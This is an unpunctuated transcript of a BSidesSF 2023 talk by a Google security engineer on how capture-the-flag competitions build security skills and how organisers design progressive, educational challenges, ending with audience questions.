BSidesSF 2023 - Growing Your Skillset with Capture the Flag (David Tomaschik)

oh welcome David so David is a senior security engineer on the Google Offensive security team and has been helping us to organize the b-sides CTF for seven years now he focuses on red teaming embedded device security web security and security education and today he will be telling us how to grow our skill set with ctfs we welcome David thanks so hopefully everyone is here for growing your skill set with capture the flag uh or at least you'll find it interesting if you just wandered your way in uh here uh quick obligatory disclaimer I'm only presenting on uh behalf of my own views and they're not necessarily the views of my employer's past present or future um I've been playing CTF for at least a decade now probably even longer uh I wouldn't even begin to count how many um I've played and I'm currently on the staff for two different ctfs the one here besides San Francisco so come check us out in the CTF area but also the pros versus Joe CTF at b-sides Las Vegas um every summer and which means I get to switch tracks basically next week and start working on that um to get paid I have a secure senior security engineer at Google I'm at one of the tech leads on our red team there I also occasionally blog or post random thoughts to mastodon uh so I want to go a little bit into the different styles of ctfs and how you go about playing ctfs if you've never gotten into it but then I want to actually talk about how it can apply to your role as a security practitioner like what is the skill sets that you have in common between a CTF and being a security practitioner and how can both players and organizers work to improve that and use it as an educational tool in addition to a fun game quick primer about ctfs if you've never looked at one before there's generally speaking two big styles of CTF one of them is referred to as Jeopardy style which is a panel of problems to be solved generally speaking you can solve them in any order you want you can pick and choose which ones you want to play and I'd say the vast majority of ctfs fit into this category including the one we're hosting uh here this weekend so there's a wide range of challenges and you can pick the things that you want to take a crack at the other end of the spectrum there's what's called attack defense ctfs these are live networks typically with a number of services running on them often you have to exploit other teams Services while Defending Your Own from their exploits so you might have to do binary hot patching you might have to add Network ACLS depends on the seat particular CTF and then there's some miscellaneous CTF styles there's some that are run uh defense only so the Collegiate cyber defense competition is like this college students are trying to defend networks and there's actually a team of professional red teamers that are trying to break into that Network to simulate the adversary for them uh but only the blue team side of that is sort of scored or evaluated there's also kind of a spectrum of styles within the challenges uh ranging from realistic to contrived and you know on one end you might have uh running known vulnerable services with public cves uh services that are misconfigured but are real world business services at the other end uh of the spectrum you might get fictional architectures Defcon CTF a few years ago ran an architecture that was middle Indian which no such architecture exists in the real world but they wanted to make players understand a new architecture so they went there uh ours is kind of in the middle at B-side San Francisco we try to make the security vulnerabilities in it very realistic very based on things we've seen in the real world but we encapsulate them in a nice fake service so that um we know that the challenge is solvable and so that it's uh you know not a 200 uh page Java application for you to go through there's also something called War Games some of you may have heard of War games are very similar to ctfs but they're generally not time-bound very often not scored there are a lot of these online sites where you can do war games and it's again a set of challenges to be solved uh but not in that same competitive time-based manner that a CTF typically is a nice advantage of that is that you don't have a lot of time commitment but the flip side to it is I personally get a lot of satisfaction out of seeing my name on a scoreboard so uh so here we go out of our way to make an approachable and educational uh CTF so we want to think about what people will learn from playing this ETF we want people to be able to drop in during you know one talk slot that nothing looks interesting on the schedule you can drop in for an hour and try a challenge and we try to draw inspiration from Real World issues all of us are security practitioners and we look at the things we've seen recently in our jobs and try to use that but we also try to figure out what is someone taking away by looking at this Challenge and so that's really important to us as challenge authors is that there's something whether it's exposure to a new technology or exposure to a new vulnerability class or Hands-On uh practice with a particular tool um that someone can learn by doing these challenges um we do a wide variety of categories but most of our challenges are web security or crypto some exploitation uh and a couple of Android and reverse engineering challenges but fewer of those uh and if you want to come give it a try we're in the CTF room or there's the the URL for it so I want to take this time now to talk about what is the educational value right the the premise of this is that you can grow your skill set with capture the flag and I want to talk about how that works so the first question I get a lot is like ctfs are a fun game but can you actually learn anything uh from them um and my answer is yes but I'm guessing that in a talk you're expecting more than a one-word answer to the question so I'll go a little bit more into it so the question is what can you actually learn from it right there's technical skills to be sure uh maybe you've never done reverse engineering this can be your first opportunity to reverse engineer something instead of trying to find some live malware or some game that you want to reverse engineer as many of us started with or you can try exploiting a service and you know that the service is actually exploitable versus maybe a vulnerability that you found in another application and maybe is or isn't exploitable or you can look at forensics and have a well-defined path to the solution you can even practice just your basic scripting skills if that's what you feel like you need to be able to grow but the one thing I think ctfs really excel at is helping you learn to think outside of the box and I know that's like the most cliche thing about education ever is thinking outside of the box but really there are a lot of different things presented that you probably haven't seen in your day-to-day and you can see these and start to think about the problems in a slightly different way so the skills that the depressioner will use right it depends on your exact role we all know that there's no one security role there's a whole bunch of different ones of us I work in offensive security there's people on our team that do digital forensics security researchers um but some of the general skills that you find as a security practitioner include reverse engineering or exploitation forensics threat modeling triaging of vulnerabilities and even writing programs uh and programming and so not all of these translate one to one but I think that there are some and beyond that there's the less technical side of the of skills like an attacker mindset thinking how is an attacker attacking a network how is an attacker attacking an application uh communication skills a lot of the time when people ask what they should learn next in the security space when they tell me they've learned a bunch of technical things like well how are your communication skills because at the end of the day almost everyone in security spends their time communicating with people outside the security field even if they're technical they have no idea what cross-site scripting is most of the time and I have to explain this in a way that an engineer can understand the impact of their bugs and finally teamwork is also an aspect of a lot of ctfs and a lot of practitioner skills so you can look at how you do collaboration how you split effort how you divide up a technical project among several individuals so I will say it's not one-to-one most ctfs don't give you an opportunity to throw up model Communications is not usually a core part of a CTF on the other hand in my day-to-day I've actually never seen steganography and use in in the wild maybe the digital forensics practitioners on my team have but I haven't seen any of that I have however seen a lot of forensics application I have however seen a lot of exploitation type of things and of course scripting automating our work is always important so as a CTF player and if I'm trying to grow my skill set through that CTF what I want to do is maximize the time I spend in that overlap think about the areas where I can improve the things that apply in my practitioner uh role and think about the things that apply in my CTF role right so looking at challenges that are in that area can be something useful now I did say Communications are not an integral part of ctfs but I also think that you can build your skills there if you want to so a lot of people after playing a CTF do what we refer to as a write-up which is a description of how you approach the problem and found the solution it tells you a little bit of background on what the problem was what the approach you took sometimes you'll document your dead ends and maybe even how the vulnerability would translate into real world impact so I do those because it helps reinforce what I've learned during it because I can share with others uh things that might be useful for their future application of techniques and quite frankly writing is a good way to improve your writing skills right you learn a lot of people learn by doing I'm certainly one of those people and it's just an extension past the end of the CTF time to continue to learn by doing in terms of teamwork and Leadership I strongly encourage people to play as part of a team it's personally a lot more fun to play as part of a team even if you're just a sounding board or rubber ducky for other people on your team it can be very helpful if you get frustrated if you get stuck you can just bounce ideas off of someone and sometimes just explaining the problem again in simpler terms is enough to get you to a breakthrough but it also gets you an opportunity to have experience with people with other backgrounds right like like I said one of the people on our team and I learned I met them first in playing ctfs Works in digital forensics right and so I don't do forensics but I've learned a ton from having conversations with him um certainly not an expert at this point but I still think I've learned a thing or two that's useful I also after a number of years I enjoy mentoring others when people come up and say I've never played in a CTF I think that's wonderful it's an opportunity to introduce someone to something new I think it's great to tell people who come in and say like Oh I'm a software engineer but I want to get into security that this is a little preview of some of the technical challenges we face in the security space and so being able to to Mentor I think is a great skill you can grow there as well so some people want to visit the challenges that they spend all day on or think that they can further their regular uh role in and that's certainly a reasonable approach I like to step outside my comfort zone uh I like challenging myself with new things and I also like the fact that there's very little downside or risk associated with trying these if I don't get a CTF challenge it may be a little bit disappointing but it's not gonna be a big problem for my employer or for my career as an opportunity so if I ever want to play with a tool I've never played with before it's a low risk environment to give it a try in and so you can step outside your comfort zone and do these things you've never done before uh and get into it it actually turns out a number of things that I was first exposed to in capture the flag have since come up in my career in the time since then I've seen vulnerability classes that I first saw in a CTF and then later saw in the real world I've gotten much better at debugging some certain types of things from doing ctfs I understand how to do all kinds of weird things with GDB if anyone uh ever spends time in there I could give an entire separate talk on weird GDB tricks um and those have actually come in handy when trying to debug uh real world applications um and another great thing is a lot of ctfs will publish their challenges afterwards we open source all our challenge repository for this at the end of the CTF we also try to leave it up for a little while um so long as B-side uh is willing to continue to pay for the infrastructure um and it gives you an opportunity afterwards to come back and take a look at it in a lower pressure situation or after someone has done a write-up for you can look at it right up and you can go oh so that's how that part worked and then you can actually play with it Hands-On which if you're a Hands-On learner I think is a great opportunity for that so you can go on CTF time as a site with a bunch of CTF resources you can go for links to write-ups you can also go find some YouTube channels live overflow is a popular one uh genvale cold wind is another one these are people who are security practitioners that also play a lot of CTF and will start talking about how they approach challenges and how they are looking for Solutions and walk through some of the things that they do I want to talk a little bit whoever wants to design a CTF or wonders what's going through our minds when we're writing challenges um we are not just into it for like the sadistic nature of giving people hard problems but that can be fun sometimes uh but we really do want to think about the educational value for a lot of these ctfs so um sometimes there's two different types of audiences I run uh as I said this CTF and the one at besides Las Vegas as well um and so those are public ctfs where people have a wide variety of skills and interests and backgrounds coming into it um and maybe have different personal learning objectives I've also used ctfs as a teaching tool within my team at work um and or within partner teams at work and sometimes there you can actually narrow down the CTF a lot because you know where people are coming from you know what their Baseline skill set looks like and you're usually trying to focus on one particular type of learning um I've run one for embedded device security for example at work because most of my team had no background in that space and I really like playing with devices um several Studies have shown that gamification which is a nice buzzword actually does improve retention improve performance and improve skill progression and students think that it is easier than learning in other ways whether it actually is or it's just the fun aspect coming in studies are a little bit unclear on but there are studies that show that gamification helps from an educational perspective one of the things we really like to do here is we build what we call Progressive challenges which is where we build a series of challenge that introduces New Concepts and ramp up in complexity so instead of just one challenge with the ultimate level of complexity we end up building a couple of them to get you progressively to the harder solution we also like to take challenges with real world applicability based on real cves real forensic solutions from our day jobs uh one of them that we've done before is an Android app with SQL injection a lot of Android apps use SQL Lite as their local data storage um and there have been a few apps that have had SQL injection via intents which is how Android apps communicate with each other um we've also done a very realistic environments or a fully functional apps instead of just being the vulnerability to exploit um this year we have a password manager that basically a fully functional password manager but please don't put any sensitive credentials in it but it would work and then as far as the progressive challenges we basically think about it in three stages introducing the concept adding a little bit of complexity and then coming to a sort of an edge case or a particular Nuance of the topic and we think that it helps the a wide range of players be able to approach the topic maybe they get the first one but not all of them um maybe they can get a little confidence boost from starting off with it uh and just in general it's a great way to build the skills and layers instead of trying to make one giant leap all at once so in a couple of examples for that is like trying to get access to an encrypted file system right an obvious file system with a known partial password like oh I remember that the password started with b-sides SF but I can't remember the end and you try to crack it from there second stage maybe you don't remember anything about the password and then the third stage like oh and I deleted the files by accident so now you have to do file recovery as well as the other steps there's also ways to approach it for SQL injection or exploitation type challenges uh where you give progressively less feedback to the user which is actually what you'll see in more real world cases you won't usually get like the whole query you submitted back as an error message unless someone is horribly misconfigured things um and as far as like player motivation we think about the competitiveness the scoring uh the progression throughout the game and also the particular skills that they can build uh throughout that um so I know this has been kind of a whirlwind tour of our approaches to it and why we think there's educational value in it uh we've got just a minute or so left but I'm happy to take any questions that anyone might have in that time yes I think we have a microphone for questions just so everyone can hear because I know it's kind of noisy from over there hi uh uh would you recommend people do ctfs only if they're interested in doing security or would you also recommend it for like software engineers and devs and stuff like that I mean you know obviously I have some bias as a CTF organizer I recommend it for everyone but if you like solving puzzles if you like challenges things like that uh I think you there are things you can enjoy in it a lot of the topics are somewhat security focused but you don't have to have a current career in security um I actually played my first CTF before I was a security practitioner by by day I was just doing it for fun while as a site reliability engineer um and uh transitioned into security later so I think there's a lot of value in it for anyone who has some interest in security or some awareness of security topics um even like debugging reverse engineering kind of things or topics that apply to software engineering as well as uh you know to security specific roles g'day great talk thank you um when you do the ctfs for your teams at Google how do you sell the idea to your managers you know the time investment and whatever else um that is a great question um I guess uh a lot of it comes down to demonstrating that there is a need for skill growth in a particular area uh and then being able to assemble something um around that um the additional part to it is I think at this point I've worked with my manager and my director long enough um to have a sort of a rapport for a lot